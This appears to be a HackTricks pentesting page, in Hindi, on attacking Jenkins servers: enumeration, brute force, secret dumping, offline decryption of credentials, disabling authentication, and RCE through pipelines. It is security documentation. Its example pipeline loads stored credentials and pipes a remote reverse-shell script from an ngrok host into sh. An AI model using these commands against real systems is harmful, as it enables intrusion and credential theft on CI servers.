Jenkins सुरक्षा

Reading time: 15 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

Jenkins एक उपकरण है जो निरंतर एकीकरण या निरंतर वितरण (CI/CD) वातावरण स्थापित करने के लिए एक सीधा तरीका प्रदान करता है, लगभग किसी भी संयोजन के लिए प्रोग्रामिंग भाषाओं और स्रोत कोड रिपॉजिटरी का उपयोग करते हुए पाइपलाइनों के माध्यम से। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins व्यक्तिगत चरणों के लिए स्क्रिप्ट बनाने की आवश्यकता को समाप्त नहीं करता है, यह निर्माण, परीक्षण और तैनाती उपकरणों के पूरे अनुक्रम को एकीकृत करने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जो कि मैन्युअल रूप से आसानी से बनाया जा सकता है।

Basic Jenkins Information

बिना प्रमाणीकरण के सूचीकरण

दिलचस्प Jenkins पृष्ठों की खोज करने के लिए बिना प्रमाणीकरण के जैसे (/people या /asynchPeople, यह वर्तमान उपयोगकर्ताओं की सूची बनाता है) आप उपयोग कर सकते हैं:

msf> use auxiliary/scanner/http/jenkins_enum

जांचें कि क्या आप प्रमाणीकरण की आवश्यकता के बिना कमांड निष्पादित कर सकते हैं:

msf> use auxiliary/scanner/http/jenkins_command

बिना क्रेडेंशियल्स के आप /asynchPeople/ पथ या /securityRealm/user/admin/search/index?q= में यूजरनेम देख सकते हैं।

आप /oops या /error पथ से Jenkins संस्करण प्राप्त कर सकते हैं।

ज्ञात कमजोरियाँ

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

लॉगिन

बुनियादी जानकारी में आप Jenkins के अंदर लॉगिन करने के सभी तरीके देख सकते हैं:

Basic Jenkins Information

पंजीकरण

आप Jenkins उदाहरणों को खोजने में सक्षम होंगे जो आपको एक खाता बनाने और इसके अंदर लॉगिन करने की अनुमति देते हैं। बस इतना आसान।

SSO लॉगिन

यदि SSO कार्यात्मकता/प्लगइन्स मौजूद थे तो आपको एक परीक्षण खाते (यानी, एक परीक्षण Github/Bitbucket खाता) का उपयोग करके एप्लिकेशन में लॉग-इन करने का प्रयास करना चाहिए। यहां से ट्रिक करें।

ब्रूटफोर्स

Jenkins में पासवर्ड नीति और यूजरनेम ब्रूट-फोर्स शमन की कमी है। यह ब्रूट-फोर्स उपयोगकर्ताओं के लिए आवश्यक है क्योंकि कमजोर पासवर्ड या पासवर्ड के रूप में यूजरनेम का उपयोग हो सकता है, यहां तक कि पासवर्ड के रूप में उल्टे यूजरनेम भी हो सकते हैं।

msf> use auxiliary/scanner/http/jenkins_login

पासवर्ड स्प्रेइंग

Use this python script or this powershell script.

IP व्हाइटलिस्टिंग बायपास

कई संगठन SaaS-आधारित स्रोत नियंत्रण प्रबंधन (SCM) सिस्टम जैसे GitHub या GitLab को आंतरिक, स्वयं-होस्टेड CI समाधान जैसे Jenkins या TeamCity के साथ मिलाते हैं। यह सेटअप CI सिस्टम को SaaS स्रोत नियंत्रण विक्रेताओं से वेबहुक घटनाओं को प्राप्त करने की अनुमति देता है, मुख्य रूप से पाइपलाइन नौकरियों को ट्रिगर करने के लिए।

इसको प्राप्त करने के लिए, संगठन SCM प्लेटफार्मों के IP रेंज को व्हाइटलिस्ट करते हैं, जिससे उन्हें वेबहुक के माध्यम से आंतरिक CI सिस्टम तक पहुंचने की अनुमति मिलती है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि कोई भी GitHub या GitLab पर खाता बना सकता है और इसे वेबहुक को ट्रिगर करने के लिए कॉन्फ़िगर कर सकता है, संभावित रूप से आंतरिक CI सिस्टम को अनुरोध भेज सकता है।

Check: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

आंतरिक Jenkins दुरुपयोग

इन परिदृश्यों में हम मान लेंगे कि आपके पास Jenkins तक पहुंचने के लिए एक वैध खाता है।

warning

Jenkins में कॉन्फ़िगर किए गए Authorization तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर, आप निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।

अधिक जानकारी के लिए बुनियादी जानकारी देखें:

Basic Jenkins Information

उपयोगकर्ताओं की सूची बनाना

यदि आपने Jenkins तक पहुंच प्राप्त कर ली है, तो आप http://127.0.0.1:8080/asynchPeople/ में अन्य पंजीकृत उपयोगकर्ताओं की सूची बना सकते हैं।

स्पष्ट पाठ रहस्यों को खोजने के लिए निर्माणों को डंप करना

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.

bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

SSH क्रेडेंशियल चुराना

यदि समझौता किया गया उपयोगकर्ता एक नया Jenkins नोड बनाने/संशोधित करने के लिए पर्याप्त विशेषाधिकार रखता है और SSH क्रेडेंशियल पहले से अन्य नोड्स तक पहुँचने के लिए संग्रहीत हैं, तो वह उन क्रेडेंशियल्स को चुरा सकता है एक नोड बनाकर/संशोधित करके और एक होस्ट सेट करके जो क्रेडेंशियल्स को रिकॉर्ड करेगा बिना होस्ट कुंजी की पुष्टि किए:

आप आमतौर पर Jenkins ssh क्रेडेंशियल्स को वैश्विक प्रदाता (/credentials/) में पाएंगे, इसलिए आप उन्हें किसी अन्य रहस्य की तरह डंप भी कर सकते हैं। अधिक जानकारी के लिए रहस्यों को डंप करने के अनुभाग में देखें।

Jenkins में RCE

Jenkins सर्वर में शेल प्राप्त करना हमलावर को सभी रहस्यों और env वेरिएबल्स को लीक करने और एक ही नेटवर्क में स्थित अन्य मशीनों का शोषण करने का अवसर देता है या यहां तक कि क्लाउड क्रेडेंशियल्स इकट्ठा करने का भी।

डिफ़ॉल्ट रूप से, Jenkins SYSTEM के रूप में चलेगा। इसलिए, इसे समझौता करने से हमलावर को SYSTEM विशेषाधिकार मिलेंगे।

प्रोजेक्ट बनाना/संशोधित करना RCE

प्रोजेक्ट बनाना/संशोधित करना Jenkins सर्वर पर RCE प्राप्त करने का एक तरीका है:

Jenkins RCE Creating/Modifying Project

Groovy स्क्रिप्ट निष्पादित करना RCE

आप एक Groovy स्क्रिप्ट निष्पादित करके भी RCE प्राप्त कर सकते हैं, जो एक नया प्रोजेक्ट बनाने की तुलना में अधिक छिपा हुआ हो सकता है:

Jenkins RCE with Groovy Script

पाइपलाइन बनाना/संशोधित करना RCE

आप पाइपलाइन बनाकर/संशोधित करके RCE प्राप्त कर सकते हैं:

Jenkins RCE Creating/Modifying Pipeline

पाइपलाइन शोषण

पाइपलाइनों का शोषण करने के लिए आपको अभी भी Jenkins तक पहुँच प्राप्त करनी होगी।

बिल्ड पाइपलाइन्स

पाइपलाइन्स को प्रोजेक्ट्स में बिल्ड तंत्र के रूप में भी उपयोग किया जा सकता है, इस मामले में इसे एक फाइल के रूप में कॉन्फ़िगर किया जा सकता है जो पाइपलाइन सिंटैक्स को शामिल करेगा। डिफ़ॉल्ट रूप से /Jenkinsfile का उपयोग किया जाता है:

यह भी संभव है कि पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए (उदाहरण के लिए अन्य रिपॉजिटरी में) ताकि रिपॉजिटरी पहुँच और पाइपलाइन पहुँच को अलग किया जा सके।

यदि एक हमलावर के पास उस फ़ाइल पर लिखने का अधिकार है तो वह इसे संशोधित कर सकेगा और संभावित रूप से पाइपलाइन को ट्रिगर कर सकेगा बिना Jenkins तक पहुँच प्राप्त किए।
संभव है कि हमलावर को कुछ शाखा सुरक्षा को बायपास करना पड़े (प्लेटफ़ॉर्म और उपयोगकर्ता विशेषाधिकार के आधार पर, उन्हें बायपास किया जा सकता है या नहीं)।

कस्टम पाइपलाइन को निष्पादित करने के लिए सबसे सामान्य ट्रिगर्स हैं:

  • मुख्य शाखा पर पुल अनुरोध (या संभावित रूप से अन्य शाखाओं पर)
  • मुख्य शाखा पर पुश (या संभावित रूप से अन्य शाखाओं पर)
  • मुख्य शाखा को अपडेट करें और तब तक प्रतीक्षा करें जब तक कि इसे किसी तरह निष्पादित नहीं किया जाता

note

यदि आप एक बाहरी उपयोगकर्ता हैं तो आपको अन्य उपयोगकर्ता/संस्थान के रिपॉजिटरी की मुख्य शाखा पर PR बनाने और पाइपलाइन को ट्रिगर करने की उम्मीद नहीं करनी चाहिए... लेकिन यदि यह खराब कॉन्फ़िगर किया गया है तो आप केवल इसका शोषण करके कंपनियों को पूरी तरह से समझौता कर सकते हैं

पाइपलाइन RCE

पिछले RCE अनुभाग में पहले से ही एक तकनीक का संकेत दिया गया था पाइपलाइन को संशोधित करके RCE प्राप्त करने के लिए

Env वेरिएबल्स की जांच करना

यह संभव है कि पूरी पाइपलाइन या विशिष्ट चरणों के लिए स्पष्ट पाठ env वेरिएबल्स घोषित किए जाएं। ये env वेरिएबल्स संवेदनशील जानकारी नहीं होनी चाहिए, लेकिन एक हमलावर हमेशा सभी पाइपलाइन कॉन्फ़िगरेशन/Jenkinsfiles की जांच कर सकता है:

bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

रहस्यों को डंप करना

Jenkins द्वारा रहस्यों के साथ सामान्यतः कैसे व्यवहार किया जाता है, इसके बारे में जानकारी के लिए बुनियादी जानकारी देखें:

Basic Jenkins Information

क्रेडेंशियल्स को वैश्विक प्रदाताओं (/credentials/) या विशिष्ट परियोजनाओं (/job/<project-name>/configure) के लिए स्कोप किया जा सकता है। इसलिए, सभी को निकालने के लिए आपको कम से कम सभी परियोजनाओं से समझौता करना होगा जो रहस्यों को शामिल करती हैं और कस्टम/जहरीले पाइपलाइनों को निष्पादित करना होगा।

एक और समस्या है, पाइपलाइन के env के अंदर एक रहस्य प्राप्त करने के लिए आपको रहस्य का नाम और प्रकार जानना होगा। उदाहरण के लिए, यदि आप एक usernamePassword रहस्य को string रहस्य के रूप में लोड करने की कोशिश करते हैं, तो आपको यह त्रुटि मिलेगी:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

यहाँ कुछ सामान्य गुप्त प्रकार लोड करने का तरीका है:

bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

इस पृष्ठ के अंत में आप सभी क्रेडेंशियल प्रकार पा सकते हैं: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

warning

सभी रहस्यों को एक साथ डंप करने का सबसे अच्छा तरीका Jenkins मशीन को समझौता करना है (उदाहरण के लिए बिल्ट-इन नोड में एक रिवर्स शेल चलाना) और फिर मास्टर कीज़ और एन्क्रिप्टेड रहस्यों को लीक करना और उन्हें ऑफलाइन डिक्रिप्ट करना।
इसे करने के बारे में अधिक जानकारी Nodes & Agents section और Post Exploitation section में है।

ट्रिगर्स

दस्तावेज़ों से: triggers निर्देश स्वचालित तरीकों को परिभाषित करता है जिनमें पाइपलाइन को फिर से ट्रिगर किया जाना चाहिए। उन पाइपलाइनों के लिए जो GitHub या BitBucket जैसे स्रोत के साथ एकीकृत हैं, triggers आवश्यक नहीं हो सकते हैं क्योंकि वेबहुक-आधारित एकीकरण पहले से मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स हैं cron, pollSCM और upstream

क्रोन उदाहरण:

bash
triggers { cron('H */4 * * 1-5') }

चेक करें दस्तावेज़ों में अन्य उदाहरण

नोड्स और एजेंट्स

एक Jenkins उदाहरण में विभिन्न मशीनों में विभिन्न एजेंट चल सकते हैं। हमलावर के दृष्टिकोण से, विभिन्न मशीनों तक पहुंच का मतलब है चोरी करने के लिए विभिन्न संभावित क्लाउड क्रेडेंशियल्स या विभिन्न नेटवर्क एक्सेस जो अन्य मशीनों का शोषण करने के लिए दुरुपयोग किया जा सकता है।

अधिक जानकारी के लिए बुनियादी जानकारी देखें:

Basic Jenkins Information

आप /computer/ में कॉन्फ़िगर किए गए नोड्स की गणना कर सकते हैं, आपको आमतौर पर **Built-In Node ** (जो Jenkins चला रहा है) और संभावित रूप से अधिक मिलेंगे:

Built-In नोड को समझौता करना विशेष रूप से दिलचस्प है क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।

आप यह संकेत देने के लिए कि आप पाइपलाइन को बिल्ट-इन Jenkins नोड में चलाना चाहते हैं, पाइपलाइन के अंदर निम्नलिखित कॉन्फ़िगरेशन निर्दिष्ट कर सकते हैं:

bash
pipeline {
agent {label 'built-in'}

पूरा उदाहरण

एक विशेष एजेंट में पाइपलाइन, एक क्रॉन ट्रिगर के साथ, पाइपलाइन और स्टेज पर्यावरण चर के साथ, एक चरण में 2 चर लोड करना और एक रिवर्स शेल भेजना:

bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

मनमाना फ़ाइल पढ़ना से RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

पोस्ट एक्सप्लोइटेशन

मेटास्प्लॉइट

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

आप /credentials/ को एक्सेस करके रहस्यों की सूची बना सकते हैं यदि आपके पास पर्याप्त अनुमतियाँ हैं। ध्यान दें कि यह केवल credentials.xml फ़ाइल के अंदर के रहस्यों की सूची बनाएगा, लेकिन बिल्ड कॉन्फ़िगरेशन फ़ाइलें भी अधिक क्रेडेंशियल्स हो सकती हैं।

यदि आप प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं, तो आप वहाँ क्रेडेंशियल्स (रहस्यों) के नाम भी देख सकते हैं जो रिपॉजिटरी और प्रोजेक्ट के अन्य क्रेडेंशियल्स तक पहुँचने के लिए उपयोग किए जा रहे हैं।

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

इन फ़ाइलों की आवश्यकता है Jenkins रहस्यों को डिक्रिप्ट करने के लिए:

  • secrets/master.key
  • secrets/hudson.util.Secret

ऐसे रहस्य आमतौर पर मिल सकते हैं:

  • credentials.xml
  • jobs/.../build.xml
  • jobs/.../config.xml

उन्हें खोजने के लिए यहाँ एक regex है:

bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins रहस्यों को ऑफ़लाइन डिक्रिप्ट करें

यदि आपने रहस्यों को डिक्रिप्ट करने के लिए आवश्यक पासवर्ड्स को डंप किया है, तो उन रहस्यों को डिक्रिप्ट करने के लिए यह स्क्रिप्ट का उपयोग करें

bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Groovy से Jenkins रहस्यों को डिक्रिप्ट करें

bash
println(hudson.util.Secret.decrypt("{...}"))

नया प्रशासनिक उपयोगकर्ता बनाएं

  1. /var/lib/jenkins/config.xml या C:\Program Files (x86)\Jenkis\ में Jenkins config.xml फ़ाइल तक पहुँचें।
  2. <useSecurity>true</useSecurity> शब्द के लिए खोजें और शब्द true को false में बदलें।
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Jenkins सर्वर को पुनः प्रारंभ करें: service jenkins restart
  5. अब फिर से Jenkins पोर्टल पर जाएं और इस बार Jenkins कोई प्रमाण पत्र नहीं मांगेगा। आप प्रशासक पासवर्ड फिर से सेट करने के लिए "Manage Jenkins" पर नेविगेट करें।
  6. सेटिंग्स को <useSecurity>true</useSecurity> में बदलकर सुरक्षा को फिर से सक्षम करें और Jenkins को फिर से पुनः प्रारंभ करें।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें